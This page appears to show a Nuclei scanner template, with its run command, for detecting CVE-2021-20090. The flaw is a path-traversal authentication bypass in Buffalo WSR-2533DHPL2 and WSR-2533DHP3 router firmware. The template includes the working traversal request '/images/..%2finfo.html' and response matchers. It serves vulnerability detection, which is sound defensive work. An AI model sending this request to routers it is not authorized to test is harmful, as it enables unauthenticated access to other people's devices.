Buffalo WSR-2533DHPL2 - Path Traversal

ID: CVE-2021-20090

Severity: critical

Author: gy741

Tags: cve,cve2021,lfi,buffalo,firmware,iot,kev,tenable

Description

Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 are susceptible to a path traversal vulnerability that could allow unauthenticated remote attackers to bypass authentication in their web interfaces.

YAML Source

id: CVE-2021-20090

info:
  name: Buffalo WSR-2533DHPL2 - Path Traversal
  author: gy741
  severity: critical
  description: |
    Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 are susceptible to a path traversal vulnerability that could allow unauthenticated remote attackers to bypass authentication in their web interfaces.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, such as configuration files, credentials, or other sensitive information.
  remediation: |
    Apply the latest firmware update provided by Buffalo to fix the path traversal vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2021-13
    - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20090
    - https://www.kb.cert.org/vuls/id/914124
    - https://www.secpod.com/blog/arcadyan-based-routers-and-modems-under-active-exploitation/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20090
    cwe-id: CWE-22
    epss-score: 0.97465
    epss-percentile: 0.99955
    cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: buffalo
    product: wsr-2533dhpl2-bk_firmware
  tags: cve,cve2021,lfi,buffalo,firmware,iot,kev,tenable

http:
  - raw:
      - |
        GET /images/..%2finfo.html HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/info.html

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'URLToken(cgi_path)'
          - 'pppoe'
          - 'wan'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402201eb446f906c5e227fdbdc66c4203b1ceb1fa28f2e8653b7491bc366f3cf26c7f02200e92d29202a1eb7b9722311253f3f9b5ad4779569f76a39880173eb06c7ab49a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-20090.yaml"

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